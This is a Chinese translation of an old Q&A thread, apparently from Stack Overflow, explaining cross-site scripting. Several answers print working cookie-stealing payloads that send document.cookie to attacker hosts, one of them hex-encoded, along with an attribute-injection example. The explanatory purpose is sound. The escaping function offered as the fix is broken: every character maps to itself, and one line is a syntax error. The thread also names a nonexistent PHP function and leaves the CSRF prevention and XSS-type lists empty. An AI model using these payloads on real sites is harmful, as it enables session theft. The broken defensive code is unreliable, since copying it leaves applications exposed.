【发布时间】:2008-10-27 06:12:26
【问题描述】:
有人能用简单的英语解释一下 XSS 是如何工作的吗?也许举个例子。谷歌搜索没有多大帮助。
【问题讨论】:
-
你的意思是跨站脚本吗?
标签: xss
有人能用简单的英语解释一下 XSS 是如何工作的吗?也许举个例子。谷歌搜索没有多大帮助。
【问题讨论】:
标签: xss
跨站脚本基本上是动态网页的安全漏洞,攻击者可以创建恶意链接将不需要的可执行 JavaScript 注入网站。此漏洞最常见的情况发生在 GET 变量在未过滤或检查其内容的情况下打印或回显。
当受害者点击链接时,恶意代码可以将受害者的 cookie 发送到另一台服务器,或者它可以修改受影响的站点、注入表单、窃取用户名和密码以及其他网络钓鱼技术。
恶意链接示例:
http://VulnerableHost/a.php?variable=<script>document.location='http://AttackersHost/cgi-bin/cookie.cgi%3Fdata='+document.cookie</script>
对恶意代码进行编码也很常见,例如以十六进制编码:
http://VulnerableHost/a.php?variable=%22%3E%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65%6E%74%2E%6C%6F%63%61%74%69%6F%6E%3D%27%68%74%74%70%3A%2F%2F%41%74%74%61%63%6B%65%72%73%48%6F%73%74%2F%63%67%69%2D%62%69%6E%2F%63%6F%6F%6B%69%65%2E%63%67%69%3F%20%27%2B%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3C%2F%73%63%72%69%70%74%3E
【讨论】:
只要来自应用程序外部的字符串可以被解释为代码,就会存在 XSS 漏洞。
例如,如果您通过以下方式生成 HTML:
<BODY>
<?= $myQueryParameter ?>
</BODY>
那么如果$myQueryParameter 变量包含<SCRIPT> 标记,那么它将最终执行代码。
要防止输入作为代码执行,您需要正确转义内容。
上述问题可以通过意识到$myQueryParameter变量包含纯文本来解决,但你不能只是将纯文本放入HTML并期望它工作。
因此,您需要将纯文本转换为 HTML,以便将其放入 HTML 页面。将一种语言的字符串转换为另一种语言以便嵌入的过程正在转义。
您可以使用以下函数将纯文本转义为 HTML:
function escapePlainTextToHTML(plainText) {
return plainText.replace(/\0/g, '')
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
【讨论】:
简单英语
XSS 是指您在网页中插入脚本(即 JavaScript 代码),以便浏览器执行代码。这是恶意的,因为它可以用来窃取 cookie 和页面上的任何其他数据。例如:
搜索框的 HTML:<input value="*search value here*">
现在,如果您插入 " onmouseover="alert(1),最终的 HTML 将是 <input value="" onmouseover="alert(1)">
当鼠标经过搜索框时,会执行“alert”。
在“维基文本”中
跨站脚本 (XSS) 是一种通常在 Web 应用程序中发现的计算机安全漏洞。 XSS 使攻击者能够将客户端脚本注入到其他用户查看的网页中。攻击者可能会利用跨站脚本漏洞绕过同源策略等访问控制。
【讨论】:
简而言之,XSS 是一个安全漏洞,攻击者可以在其中构建恶意脚本来破坏网站。现在它是如何工作的?
我们知道 XSS 需要一个输入字段,或者我们可以说输入通过它的 GET 变量回显给用户,无需过滤,有时甚至过滤。请求后,浏览器可以接受(“源代码”)作为向用户显示内容的响应。 记住您在输入字段中写的内容,它将在源代码响应中出现。因此您应该检查它,因为有时网络开发人员会限制警告框。
如果您首先是攻击者,您需要通过使用脚本标签来了解 xss 漏洞。
例如:- alert("test")
这里的alert() 用于制作带有ok 按钮的弹出框,你在括号中写的任何内容都会在屏幕上弹出。而且脚本标签是不可见的。
现在攻击者可以编写恶意脚本来窃取 cookie、窃取凭据等。
例如:- hxxp://www.VulnerableSite.com/index.php?search=location.href = ‘http://www.Yoursite.com/Stealer.php?cookie=’+document.cookie;
这里你的站点是攻击者站点,攻击者可以借助 document.cookie 将受害者的 cookie 重定向到他自己的站点。
就是这样。
这里的脚本标签不可见
【讨论】:
我写过一篇文章,介绍什么是 XSS 以及作为 PHP 开发人员如何解决它。也有两种类型的 XSS 攻击的示例(持久性与非持久性)。
XSS 攻击有两种类型:
在此处查看更多信息: http://www.thedablog.com/what-is-xss/
【讨论】:
XSS -
当网站信任用户而不过滤用户输入时导致的漏洞。 用户输入会导致站点上执行不需要的脚本。
预防:
使用 HTML 输入过滤器过滤用户输入
(例如 php 中的 strip_tags、htmlspecialchars、htmlentities、mysql_real_string_escape)
CSRF:
当用户信任网站但网站可能会努力获取用户信息并滥用它时导致的漏洞。
预防:
【讨论】: